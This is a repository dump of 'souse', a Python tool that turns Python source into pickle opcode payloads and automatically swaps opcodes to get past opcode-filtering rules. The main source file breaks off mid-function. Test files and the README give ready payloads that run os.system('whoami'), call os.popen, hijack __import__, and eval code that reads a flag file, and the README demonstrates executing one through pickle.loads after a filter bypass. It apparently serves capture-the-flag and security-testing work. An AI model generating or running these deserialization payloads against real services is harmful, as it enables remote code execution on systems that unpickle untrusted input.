├── souse
├── fake_module.py
├── __init__.py
├── test
│ ├── N-call-2.py
│ ├── N-attr-1.py
│ ├── N-call-1.py
│ ├── assign-3.py
│ ├── N-attr-2.py
│ ├── N-combo-1.py
│ ├── attr-2.py
│ ├── call-2.py
│ ├── assign-2.py
│ ├── attr-1.py
│ ├── call-1.py
│ ├── slice-2.py
│ ├── N-assign-1.py
│ ├── slice-1.py
│ ├── call-3.py
│ ├── combo-1.py
│ ├── combo-3.py
│ ├── combo-4.py
│ ├── combo-5.py
│ ├── combo-2.py
│ └── assign-1.py
├── fake_firewall.json
└── souse.py
├── pics
├── eg-1.png
├── eg-2.png
├── eg-3.png
├── help.png
├── test.png
├── eg-1-s.png
└── eg-2-s.png
├── MANIFEST.in
├── .gitignore
├── setup.py
├── LICENSE
└── README.md
/souse/fake_module.py:
--------------------------------------------------------------------------------
1 | class A:
2 | pass
3 |
--------------------------------------------------------------------------------
/souse/__init__.py:
--------------------------------------------------------------------------------
1 | name = "souse"
2 | from .souse import cli, API
3 |
--------------------------------------------------------------------------------
/souse/test/N-call-2.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | os.system("whoami")
4 |
--------------------------------------------------------------------------------
/souse/test/N-attr-1.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | requests.get.a = 1
4 |
--------------------------------------------------------------------------------
/pics/eg-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-1.png
--------------------------------------------------------------------------------
/pics/eg-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-2.png
--------------------------------------------------------------------------------
/pics/eg-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-3.png
--------------------------------------------------------------------------------
/pics/help.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/help.png
--------------------------------------------------------------------------------
/pics/test.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/test.png
--------------------------------------------------------------------------------
/souse/test/N-call-1.py:
--------------------------------------------------------------------------------
1 | from sys import modules
2 |
3 | a = modules.get("os")
--------------------------------------------------------------------------------
/pics/eg-1-s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-1-s.png
--------------------------------------------------------------------------------
/pics/eg-2-s.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Macr0phag3/souse/HEAD/pics/eg-2-s.png
--------------------------------------------------------------------------------
/souse/test/assign-3.py:
--------------------------------------------------------------------------------
1 | a = {}
2 | a["empty"] = ""
3 |
4 | # b'(dp0\ng0\n(Vempty\nV\nu.'
5 |
--------------------------------------------------------------------------------
/souse/test/N-attr-2.py:
--------------------------------------------------------------------------------
1 | from requests import get, post
2 |
3 | get.a = 1
4 | post.b = get.a
5 |
--------------------------------------------------------------------------------
/souse/test/N-combo-1.py:
--------------------------------------------------------------------------------
1 | from sys import modules
2 |
3 | modules.get("os").system("whoami")
4 |
--------------------------------------------------------------------------------
/souse/fake_firewall.json:
--------------------------------------------------------------------------------
1 | {
2 | "V": "*",
3 | "I01": "*",
4 | "I": "100",
5 | "R": "*"
6 | }
7 |
--------------------------------------------------------------------------------
/souse/test/attr-2.py:
--------------------------------------------------------------------------------
1 | from fake_module import A
2 |
3 | A.a = 1
4 | # b'cfake_module\nA\np0\ng0\n(N}Va\nI1\nstb.'
--------------------------------------------------------------------------------
/souse/test/call-2.py:
--------------------------------------------------------------------------------
1 | from os import system
2 |
3 | system("whoami")
4 | # b'cos\nsystem\np0\ng0\n(Vwhoami\ntR.'
--------------------------------------------------------------------------------
/souse/test/assign-2.py:
--------------------------------------------------------------------------------
1 | from sys import modules
2 |
3 | a = modules
4 |
5 | # b'csys\nmodules\np0\ng0\np1\n.'
6 |
--------------------------------------------------------------------------------
/souse/test/attr-1.py:
--------------------------------------------------------------------------------
1 | from requests import get
2 |
3 | get.a = 1
4 | # b'crequests\nget\np0\ng0\n(N}Va\nI1\nstb.'
5 |
--------------------------------------------------------------------------------
/souse/test/call-1.py:
--------------------------------------------------------------------------------
1 | from os import system
2 |
3 | a = "whoami"
4 | system(a)
5 | # b'cos\nsystem\np0\nVwhoami\np1\ng0\n(g1\ntR.'
--------------------------------------------------------------------------------
/souse/test/slice-2.py:
--------------------------------------------------------------------------------
1 | from builtins import globals
2 |
3 | globals()["PWD"] = "tr0y"
4 |
5 | # b'cbuiltins\nglobals\np0\ng0\n(tR(VPWD\nVtr0y\nu.'
6 |
--------------------------------------------------------------------------------
/souse/test/N-assign-1.py:
--------------------------------------------------------------------------------
1 | from requests import get
2 |
3 | get.a = 1
4 | get.b = "2"
5 | get.c = (1, "2")
6 |
7 | get.d = (get.a, get.b) # NOT supported
8 |
--------------------------------------------------------------------------------
/souse/test/slice-1.py:
--------------------------------------------------------------------------------
1 | from builtins import globals
2 |
3 | a = globals()
4 | a["PWD"] = "tr0y"
5 | # b'cbuiltins\nglobals\np0\ng0\n(tRp1\ng1\n(VPWD\nVtr0y\nu.'
--------------------------------------------------------------------------------
/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include README.rst
2 | include LICENSE
3 | recursive-exclude * __pycache__
4 | recursive-exclude * *.py[co]
5 | recursive-exclude * .DS_Store
6 | include souse/test/*
7 | include souse/fake_*
8 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | result.py
2 | .DS_Store
3 | __pycache__/*
4 | __pycache__
5 | test-source-code.py
6 | *-dev.py
7 | workspace
8 | tmp-*.py
9 | dist/
10 | *.egg-info/
11 | build/
12 | .souse-result.tmp
13 | .eggs
14 |
--------------------------------------------------------------------------------
/souse/test/call-3.py:
--------------------------------------------------------------------------------
1 | from sys import modules
2 | from os import popen
3 |
4 | a = popen("whoami")
5 | modules["exp"] = a
6 |
7 | from exp import read
8 |
9 | read()
10 | # os.popen("whoami").read()
11 |
12 | # b'csys\nmodules\np0\ncos\npopen\np1\ng1\n(Vwhoami\ntRp2\ng0\n(Vexp\ng2\nucexp\nread\np3\ng3\n(tR.'
--------------------------------------------------------------------------------
/souse/test/combo-1.py:
--------------------------------------------------------------------------------
1 | from sys import modules
2 |
3 | a = modules
4 | a["sys"] = a
5 |
6 | from sys import get
7 |
8 | a["sys"] = get("os")
9 |
10 | from sys import system
11 | system("whoami")
12 | # b'csys\nmodules\np0\ng0\np1\ng1\n(Vsys\ng1\nucsys\nget\np2\ng1\n(Vsys\ng2\n(Vos\ntRucsys\nsystem\np3\ng3\n(Vwhoami\ntR.'
13 |
--------------------------------------------------------------------------------
/souse/test/combo-3.py:
--------------------------------------------------------------------------------
1 | from math import sin, cos, tan
2 |
3 | k = {
4 | sin(cos(tan(cos(sin(tan(1)))))): {
5 | sin(cos(sin(cos(sin(1))))): cos(sin(cos(sin(cos(1)))))
6 | }
7 | }
8 |
9 | # b'cmath\nsin\np0\ncmath\ncos\np1\ncmath\ntan\np2\n(g0\n(g1\n(g2\n(g1\n(g0\n(g2\n(I1\ntRtRtRtRtRtR(g0\n(g1\n(g0\n(g1\n(g0\n(I1\ntRtRtRtRtRg1\n(g0\n(g1\n(g0\n(g1\n(I1\ntRtRtRtRtRddp3\n.'
10 |
--------------------------------------------------------------------------------
/souse/test/combo-4.py:
--------------------------------------------------------------------------------
1 | from math import floor
2 |
3 | a = "3"
4 |
5 | b = [
6 |
7 | [
8 | 1,
9 | True,
10 | [1, 2],
11 | (1, 2),
12 | {1: 2},
13 |
14 | [
15 | [1, [1, 2]], a # , floor(1.5)
16 | ],
17 |
18 | ],
19 |
20 | ]
21 |
22 | # b'cmath\nfloor\np0\nV3\np1\n((I1\nI01\n(I1\nI2\nl(I1\nI2\nt(I1\nI2\nd((I1\n(I1\nI2\nllg1\nlllp2\n.'
23 |
--------------------------------------------------------------------------------
/souse/test/combo-5.py:
--------------------------------------------------------------------------------
1 | from structs import __dict__, __builtins__, __getattribute__
2 |
3 | __dict__["structs"] = __builtins__
4 | __builtins__['__import__'] = __getattribute__
5 |
6 | from structs import get
7 |
8 | a = get("eval")
9 | a('print(open("./flag").read())')
10 |
11 | # b'cstructs\n__dict__\np0\ncstructs\n__builtins__\np1\ncstructs\n__getattribute__\np2\ng0\n(Vstructs\ng1\nug1\n(V__import__\ng2\nucstructs\nget\np3\ng3\n(Veval\ntRp4\ng4\n(Vprint(open("./flag").read())\ntR.'
12 |
--------------------------------------------------------------------------------
/souse/test/combo-2.py:
--------------------------------------------------------------------------------
1 | from builtins import getattr, dict, globals
2 |
3 | get = getattr(dict, 'get')
4 | g = globals()
5 | __builtins__ = get(g, '__builtins__')
6 | f = getattr(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'setattr')
7 |
8 | # b'cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\ncbuiltins\nglobals\np2\ng0\n(g1\nVget\ntRp3\ng2\n(tRp4\ng3\n(g4\nV__builtins__\ntRp5\ng0\n(g5\nVgetattr\ntR(g5\nVgetattr\ntR(g5\nVgetattr\ntR(g5\nVgetattr\ntR(g5\nVsetattr\ntRp6\n.'
9 |
--------------------------------------------------------------------------------
/souse/test/assign-1.py:
--------------------------------------------------------------------------------
1 | from requests import get
2 | from builtins import set, tuple, list, frozenset
3 |
4 |
5 | get.a1 = 1
6 | get.a2 = "2"
7 | get.b1 = set()
8 | get.b2 = frozenset()
9 | get.b3 = ()
10 | get.b4 = tuple()
11 | get.b5 = []
12 | get.b6 = list()
13 |
14 | get.c1 = {}
15 | get.c2 = {1, "2", get}
16 | get.c3 = {1: 3, None: 2, "1": "2", get: 3}
17 | get.c4 = (1, "2", get)
18 | get.c5 = (None, True, False)
19 |
20 | # b'crequests\nget\np0\ncbuiltins\nset\np1\ncbuiltins\ntuple\np2\ncbuiltins\nlist\np3\ncbuiltins\nfrozenset\np4\ng0\n(N}Va1\nI1\nstbg0\n(N}Va2\nV2\nstbg0\n(N}Vb1\ng1\n(tRstbg0\n(N}Vb2\ng4\n(tRstbg0\n(N}Vb3\n(tstbg0\n(N}Vb4\ng2\n(tRstbg0\n(N}Vb5\n(lstbg0\n(N}Vb6\ng3\n(tRstbg0\n(N}Vc1\n(dstbg0\n(N}Vc2\n\x8f(I1\nV2\ng0\n\x90stbg0\n(N}Vc3\n(I1\nI3\nNI2\nV1\nV2\ng0\nI3\ndstbg0\n(N}Vc4\n(I1\nV2\ng0\ntstbg0\n(N}Vc5\n(NI01\nI00\ntstb.'
21 |
22 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | import setuptools
2 |
3 |
4 | with open("README.md", "r") as fh:
5 | long_description = "".join(fh.readlines()[:-4])
6 |
7 | setuptools.setup(
8 | name="souse",
9 | version="3.2.2",
10 | author="Tr0y",
11 | author_email="macr0phag3@qq.com",
12 | description="A tool for converting Python source code to opcode(pickle)",
13 | long_description=long_description,
14 | long_description_content_type="text/markdown",
15 | url="https://github.com/Macr0phag3/souse",
16 | packages=["souse"],
17 | include_package_data=True,
18 | classifiers=[
19 | "Programming Language :: Python :: 3.6",
20 | "License :: OSI Approved :: MIT License",
21 | "Operating System :: OS Independent",
22 | ],
23 | install_requires=["colorama"],
24 | python_requires='>=3.6',
25 | entry_points={
26 | "console_scripts": [
27 | 'souse = souse:cli',
28 | ]
29 | }
30 | )
31 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Macr0phag3
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # souse
2 | A tool for converting Python source code to opcode(pickle)
3 |
4 | ## 1. help
5 |
6 |
7 |
8 | ## 2. usage
9 | ### 2.1 CLI
10 | `./test/` has some example codes for souse.py. The filename starts with `N` is NOT supported yet.
11 |
12 | #### 2.1.1 case 1
13 |
14 | source code:
15 |
16 |
17 |
18 | opcode:
19 |
20 |
21 |
22 | #### 2.1.2 case 2
23 |
24 | source code:
25 |
26 |
27 |
28 | opcode:
29 |
30 |
31 |
32 | #### 2.1.3 case 3
33 |
34 | transfer opcode:
35 |
36 |
37 |
38 | supported:
39 | - [x] base64_encode
40 | - [x] hex_encode
41 | - [x] url_encode
42 |
43 | #### 2.1.4 test code
44 |
45 |
46 |
47 | ### 2.2 API
48 | example:
49 |
50 | ```py
51 | In [1]: import souse
52 |
53 | In [2]: exp = "from os import system\nsystem('whoami')"
54 |
55 | In [3]: souse.API(exp, optimized=True, transfer="b64").generate()
56 | Out[3]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='
57 |
58 | In [4]: import base64
59 |
60 | In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate()
61 | Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='
62 |
63 | In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate()
64 | Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='
65 |
66 | In [7]: import pickle
67 |
68 | In [8]: firewall_rules = {
69 | ...: "V": "*",
70 | ...: "I01": "*",
71 | ...: "I": "100",
72 | ...: "R": "*"
73 | ...: }
74 |
75 | In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate()
76 | [*] choice o to bypass rule: {'R': '*'}
77 | [*] choice S to bypass rule: {'V': '*'}
78 | macr0phag3
79 | Out[9]: 0
80 | ```
81 |
82 | ## 3. TODO
83 | - [x] support for nested expressions
84 | - [x] opcode bypass supported
85 | - [x] auto bypass basic limitation(`V`、`S`、`I`、...)
86 | - [x] auto bypass complex limitation(`R`、`o`、`i`)
87 | - [x] value bypass supported
88 | - [x] number
89 | - [x] API
90 | - [x] `pip install` supported
91 |
92 | ## ## Others
93 |
94 |
95 | [](https://starchart.cc/Macr0phag3/souse)
96 |
--------------------------------------------------------------------------------
/souse/souse.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import ast
4 | import json
5 | import pickle
6 | import struct
7 | import argparse
8 | import functools
9 | import pickletools
10 |
11 | from colorama import Fore, Style, init as Init
12 |
13 |
14 | def put_color(string, color, bold=True):
15 | '''
16 | give me some color to see :P
17 | '''
18 |
19 | if color == 'gray':
20 | COLOR = Style.DIM+Fore.WHITE
21 | else:
22 | COLOR = getattr(Fore, color.upper(), "WHITE")
23 |
24 | return f'{Style.BRIGHT if bold else ""}{COLOR}{str(string)}{Style.RESET_ALL}'
25 |
26 |
27 | def transfer_funcs(func_name):
28 | if not func_name:
29 | return lambda x: x
30 | func = {
31 | 'base64_encode': __import__('base64').b64encode,
32 | 'hex_encode': functools.partial(__import__('codecs').encode, encoding="hex"),
33 | 'url_decode': __import__('urllib.parse', fromlist=[""]).quote_plus,
34 | }.get(FUNC_NAME.get(func_name, func_name), 'unknown')
35 | if func == 'unknown':
36 | raise RuntimeError(put_color(
37 | f"no such transfer function: {put_color(func_name, 'blue')}",
38 | "yellow"
39 | ))
40 |
41 | return func
42 |
43 |
44 | class Visitor(ast.NodeVisitor):
45 | def __init__(self, source_code, firewall_rules):
46 | self.names = {} # 变量记录
47 | self.memo_id = 0 # memo 的顶层 id
48 | self.firewall_rules = firewall_rules
49 | self.source_code = source_code
50 |
51 | self.final_opcode = b''
52 |
53 | def souse(self):
54 | self.result = self.final_opcode+b'.'
55 |
56 | def check(self):
57 | with open('.souse-result.tmp', 'w') as fw:
58 | fw.write(
59 | 'import pickle\n'
60 | f'print(pickle.loads({repr(self.result)}), end="")\n'
61 | )
62 |
63 | return os.popen(
64 | f"{sys.executable} .souse-result.tmp"
65 | ).read()
66 |
67 | def optimize(self):
68 | optimized = []
69 | result = pickletools.optimize(self.result).split(b'\n')
70 | memo_g_ids = [i for i in result if i.startswith(b"g")]
71 | while result:
72 | optimized.append(result.pop(0))
73 |
74 | if (
75 | len(optimized) > 2 and
76 | optimized[-2].startswith(b"p") and
77 | optimized[-1].startswith(b"g") and
78 | optimized[-1][1:] == optimized[-2][1:] and
79 | memo_g_ids.count(optimized[-1]) == 1
80 | ):
81 | # 优化掉
82 | optimized.pop()
83 |
84 | return pickletools.optimize(b'\n'.join(optimized))
85 |
86 | def _flat(self, node):
87 | '''递归处理基础的语句
88 | '''
89 | _types = {
90 | ast.Constant: self._parse_constant,
91 | ast.List: self._parse_list,
92 | ast.Set: self._parse_set,
93 | ast.Tuple: self._parse_tuple,
94 | ast.Dict: self._parse_dict,
95 | ast.Name: self._parse_name,
96 | ast.Call: self._parse_call,
97 | ast.Attribute: self._parse_attribute,
98 | ast.Subscript: self._parse_subscript,
99 | }
100 |
101 | for _type in _types:
102 | if isinstance(node, _type):
103 | return _types[_type](node)
104 |
105 | raise RuntimeError(
106 | put_color("this struct is not supported yet: ", "red") +
107 | f'{put_color(node.__class__, "cyan")} in {self.code}'
108 | )
109 |
110 | def _parse_constant(self, node):
111 | def __generate_int():
112 | code = ['I', 'J']
113 | related_rules = {
114 | k: v for k, v in self.firewall_rules.items()
115 | if k in code and v in [str(node.value), "*"]
116 | }
117 | if not related_rules:
118 | return f'{code[0]}{node.value}\n'
119 |
120 | bypass_code = [i for i in code if i not in related_rules]
121 | if not bypass_code:
122 | raise RuntimeError(
123 | f"can NOT bypass: {put_color(related_rules, 'white')}, "
124 | f"must use opcode in {put_color(code, 'white')}"
125 | )
126 |
127 | print(
128 | f"[*] choice {put_color(bypass_code[0], 'blue')} "
129 | # f"instead of {put_color(pure_code[0], 'white')} "
130 | f"to bypass rule: {put_color(related_rules, 'white')}"
131 | )
132 |
133 | if bypass_code[0] == 'J':
134 | return b"J"+struct.pack('i0i', node.value)
135 | else:
136 | raise NotImplementedError(
137 | f"{put_color('BUG FOUND', 'red')}, bypass code "
138 | f"{put_color(bypass_code[0], 'white')} is "
139 | 'not implemented'
140 | )
141 |
142 | def __generate_float():
143 | return f'F{node.value}\n'
144 |
145 | def __generate_str():
146 | code = ['V', 'S']
147 | related_rules = {
148 | k: v for k, v in self.firewall_rules.items()
149 | if k in code and v in [str(node.value), "*"]
150 | }
151 | if not related_rules:
152 | return f'{code[0]}{node.value}\n'
153 |
154 | bypass_code = [i for i in code if i not in related_rules]
155 | if not bypass_code:
156 | raise RuntimeError(
157 | f"can NOT bypass: {put_color(related_rules, 'white')}, "
158 | f"must use opcode in {put_color(code, 'white')}"
159 | )
160 |
161 | print(
162 | f"[*] choice {put_color(bypass_code[0], 'blue')} "
163 | f"to bypass rule: {put_color(related_rules, 'white')}"
164 | )
165 | if bypass_code[0] == 'S':
166 | return f"S'{node.value}'\n"
167 | else:
168 | raise NotImplementedError(
169 | f"{put_color('BUG FOUND', 'red')}, bypass code "
170 | f"{put_color(bypass_code[0], 'white')} is "
171 | 'not implemented'
172 | )
173 |
174 | def __generate_none():
175 | return f'N'
176 |
177 | def __generate_true():
178 | code = ['I01', '\\x88']
179 | related_rules = {
180 | k: v for k, v in self.firewall_rules.items()
181 | if k in code and v in ["*"]
182 | }
183 | if not related_rules:
184 | return f'{code[0]}\n'
185 |
186 | bypass_code = [i for i in code if i not in related_rules]
187 | if not bypass_code:
188 | raise RuntimeError(
189 | f"can NOT bypass: {put_color(related_rules, 'white')}, "
190 | f"must use opcode in {put_color(code, 'white')}"
191 | )
192 |
193 | print(
194 | f"[*] choice {put_color(bypass_code[0], 'blue')} "
195 | f"to bypass rule: {put_color(related_rules, 'white')}"
196 | )
197 | if bypass_code[0] == '\\x88':
198 | return b'\x88'
199 | else:
200 | raise NotImplementedError(
201 | f"{put_color('BUG FOUND', 'red')}, bypass code "
202 | f"{put_color(bypass_code[0], 'white')} is "
203 | 'not implemented'
204 | )
205 | return f'{bypass_code[0]}\n'
206 |
207 | def __generate_false():
208 | code = ['I00', '\\x89']
209 | related_rules = {
210 | k: v for k, v in self.firewall_rules.items()
211 | if k in code and v in ["*"]
212 | }
213 | if not related_rules:
214 | return f'{code[0]}\n'
215 |
216 | bypass_code = [i for i in code if i not in related_rules]
217 | if not bypass_code:
218 | raise RuntimeError(
219 | f"can NOT bypass: {put_color(related_rules, 'white')}, "
220 | f"must use opcode in {put_color(code, 'white')}"
221 | )
222 |
223 | print(
224 | f"[*] choice {put_color(bypass_code[0], 'blue')} "
225 | f"to bypass rule: {put_color(related_rules, 'white')}"
226 | )
227 | if bypass_code[0] == '\\x89':
228 | return b'\x89'
229 | else:
230 | raise NotImplementedError(
231 | f"{put_color('BUG FOUND', 'red')}, bypass code "
232 | f"{put_color(bypass_code[0], 'white')} is "
233 | 'not implemented'
234 | )
235 | return f'{bypass_code[0]}\n'
236 |
237 | value_map = {
238 | int: __generate_int,
239 | float: __generate_float,
240 | str: __generate_str,
241 |
242 | None: __generate_none,
243 | True: __generate_true,
244 | False: __generate_false,
245 | }
246 | generate_func = (
247 | value_map.get(type(node.value), None)
248 | or
249 | value_map.get(node.value, None)
250 | )
251 | if generate_func is None:
252 | raise RuntimeError(
253 | put_color('this basic type is not supported yet: ', 'red') +
254 | f"{put_color(node.value, 'cyan')} in {self.code}, "
255 | f"type is {put_color(type(node.value), 'cyan')}"
256 | )
257 |
258 | result = generate_func()
259 | if isinstance(result, str):
260 | result = result.encode()
261 |
262 | return result
263 |
264 | def _parse_set(self, node):
265 | # PVM Protocol 4
266 | return (
267 | b'\x8f(' +
268 | b"".join([self._flat(elt) for elt in node.elts]) +
269 | b'\x90'
270 | )
271 |
272 | def _parse_list(self, node):
273 | return (
274 | b'(' +
275 | b"".join([self._flat(elt) for elt in node.elts]) +
276 | b'l'
277 | )
278 |
279 | def _parse_tuple(self, node):
280 | return (
281 | b'(' +
282 | b"".join([self._flat(elt) for elt in node.elts]) +
283 | b't'
284 | )
285 |
286 | def _parse_dict(self, node):
287 | return (
288 | b'(' +
289 | b"".join([self._flat(k) + self._flat(v) for k, v in zip(node.keys, node.values)]) +
290 | b'd'
291 | )
292 |
293 | def _parse_name(self, node):
294 | memo_name = self.names.get(node.id, [None, None])[0]
295 | if memo_name is None:
296 | # 说明之前没有定义这个变量
297 | raise RuntimeError(
298 | put_color("this var is not defined: ", "red") +
299 | f'{put_color(node.id, "cyan")} in {self.code}'
300 | )
301 |
302 | return f'g{memo_name}\n'.encode('utf-8')
303 |
304 | def _parse_attribute(self, node):
305 | targets = node.value
306 | attr = node.attr
307 |
308 | if isinstance(targets, ast.Name):
309 | # eg: from requests import get
310 | # get.a = 1
311 | # eg: from fake_module import A
312 | # A.a = 1 # A is 'mappingproxy' object
313 |
314 | opcode = self._flat(targets)
315 | return opcode, attr.encode("utf-8")
316 | else:
317 | raise RuntimeError(
318 | put_color("this complex dot operators(.) is not supported yet: ", "red") +
319 | f'{put_color(targets.__class__, "cyan")} in {self.code}'
320 | )
321 |
322 | def _parse_subscript(self, node):
323 | # 先分析 [] 里面
324 | if isinstance(node.slice, ast.Index):
325 | # 兼容 py < 3.9
326 | node.slice = node.slice.value
327 |
328 | if isinstance(node.slice, ast.Subscript):
329 | raise RuntimeError(
330 | put_color("this nested index is not supported yet: ") +
331 | f'{put_color(node.slice.__class__, "cyan")} in {self.code}'
332 | )
333 |
334 | inside_opcode = self._flat(node.slice)
335 |
336 | # 再分析 [] 外面
337 | outside_opcode = self._flat(node.value)
338 | return outside_opcode, inside_opcode
339 |
340 | def _parse_call(self, node):
341 | def _normal_generate(node):
342 | if isinstance(node.func, ast.Name) or isinstance(node.func, ast.Call):
343 | opcode = (
344 | b"(" + b"".join(
345 | [self._flat(arg) for arg in node.args]
346 | ) + b"tR"
347 | )
348 | else:
349 | raise RuntimeError(
350 | put_color("this function call is not supported yet: ", "red") +
351 | f'{put_color(node.func.__class__, "cyan")} in {self.code}'
352 | )
353 |
354 | # 获取函数名
355 | # eg: from sys import modules
356 | # a = modules.get("os")
357 | func_name = self._flat(node.func)
358 | return func_name+opcode
359 |
360 | def _obj_generate(node):
361 | func_name = self._flat(node.func)
362 | if isinstance(node.func, ast.Call) or isinstance(node.func, ast.Name):
363 | opcode = (
364 | b"(" + func_name + b"".join(
365 | [self._flat(arg) for arg in node.args]
366 | ) + b"o"
367 | )
368 | else:
369 | raise RuntimeError(
370 | put_color("this function call is not supported yet: ", "red") +
371 | f'{put_color(node.func.__class__, "cyan")} in {self.code}'
372 | )
373 |
374 | return opcode
375 |
376 | def _instance_generate(node):
377 | # (S'ls'\nios\nsystem\n
378 | func_name = self._flat(node.func)
379 | code, num = list(func_name.strip().decode())
380 |
381 | imported_func = [
382 | (j[1], i)
383 | for i, j in self.names.items()
384 | if j[0] == num and j[1]
385 | ]
386 | if code != 'g' or not imported_func:
387 | raise RuntimeError(
388 | f"can NOT bypass: {put_color(related_rules, 'white')}, "
389 | f"function must can be import then call: {put_color(self.code, 'white')}"
390 | )
391 |
392 | imported_func = imported_func[0]
393 | if isinstance(node.func, ast.Name):
394 | opcode = (
395 | b"(" + b"".join(
396 | [self._flat(arg) for arg in node.args]
397 | ) + b"i" + ("\n".join(imported_func)).encode() + b"\n"
398 | )
399 | else:
400 | raise RuntimeError(
401 | put_color("this function call is not supported yet: ", "red") +
402 | f'{put_color(node.func.__class__, "cyan")} in {self.code}'
403 | )
404 |
405 | return opcode
406 |
407 | code = ['R', 'o', 'i']
408 | related_rules = {
409 | k: v for k, v in self.firewall_rules.items()
410 | if k in code and v in ["*"]
411 | }
412 | if not related_rules:
413 | return _normal_generate(node)
414 |
415 | bypass_code = [i for i in code if i not in related_rules]
416 | if not bypass_code:
417 | raise RuntimeError(
418 | f"can NOT bypass: {put_color(related_rules, 'white')}, "
419 | f"must use opcode in {put_color(code, 'white')}"
420 | )
421 |
422 | print(
423 | f"[*] choice {put_color(bypass_code[0], 'blue')} "
424 | f"to bypass rule: {put_color(related_rules, 'white')}"
425 | )
426 |
427 | if bypass_code[0] == 'o':
428 | return _obj_generate(node)
429 | elif bypass_code[0] == 'i':
430 | return _instance_generate(node)
431 | else:
432 | raise NotImplementedError(
433 | f"{put_color('BUG FOUND', 'red')}, bypass code "
434 | f"{put_color(bypass_code[0], 'white')} is "
435 | 'not implemented'
436 | )
437 |
438 | def visit_Import(self, node):
439 | # MUST raise an Error
440 | # eg: import os
441 | self.code = put_color("\n".join(
442 | self.source_code.split('\n')
443 | [node.lineno-1: node.end_lineno]
444 | ), "white")
445 |
446 | for _name in node.names:
447 | name = _name.name
448 | asname = f' as {_name.asname}' if _name.asname else ''
449 |
450 | raise RuntimeError(
451 | put_color("direct import is not supported yet: ", "red") +
452 | f"{self.code}, "
453 | "use " +
454 | put_color(f"from {name} import xxx{asname}", "cyan") +
455 | " instead!"
456 | )
457 |
458 | def visit_ImportFrom(self, node):
459 | # eg: from os import system
460 | # eg: from os import system as sys
461 | # eg: from os import system, popen
462 | def _generate_opcode():
463 | for _name in node.names:
464 | name = _name.asname or _name.name
465 | self.names[name] = [str(self.memo_id), node.module]
466 | self.final_opcode += f'c{node.module}\n{name}\np{self.memo_id}\n'.encode('utf-8')
467 | self.memo_id += 1
468 |
469 | _generate_opcode()
470 |
471 | def visit_Assign(self, node):
472 | # 赋值
473 | # a = "whoami"
474 | def _generate_opcode():
475 | if isinstance(node.targets[0], ast.Tuple):
476 | raise RuntimeError(
477 | put_color("mass assignment is not supported yet: ", "red") +
478 | f"{self.code}, unpack it!"
479 | )
480 |
481 | # 先分析等号左边
482 | if isinstance(node.targets[0], ast.Name):
483 | # eg: a = ...
484 | name = node.targets[0].id
485 | assign_opcode = b'{right_opcode}p{self.memo_id}\n' \
486 | .replace(b'{self.memo_id}', str(self.memo_id).encode("utf-8"))
487 |
488 | self.names[name] = [str(self.memo_id), None]
489 | self.memo_id += 1
490 |
491 | elif isinstance(node.targets[0], ast.Attribute):
492 | # 等号左边有 . 出现
493 | left_opcode, attr = self._parse_attribute(node.targets[0])
494 | assign_opcode = b'{left_opcode}(N}V{attr}\n{right_opcode}stb' \
495 | .replace(b'{left_opcode}', left_opcode) \
496 | .replace(b'{attr}', attr)
497 |
498 | elif isinstance(node.targets[0], ast.Subscript):
499 | # eg: a["test"] = ...
500 | outside_opcode, inside_opcode = self._flat(
501 | node.targets[0]
502 | )
503 | assign_opcode = b'{outside_opcode}({inside_opcode}{right_opcode}u' \
504 | .replace(b'{outside_opcode}', outside_opcode) \
505 | .replace(b'{inside_opcode}', inside_opcode)
506 |
507 | else:
508 | raise RuntimeError(
509 | put_color("this complex assignment is not supported yet: ", "red") +
510 | f"{put_color(node.targets[0].__class__, 'cyan')} in the left part of {self.code}"
511 | )
512 |
513 | # 再分析等号右边
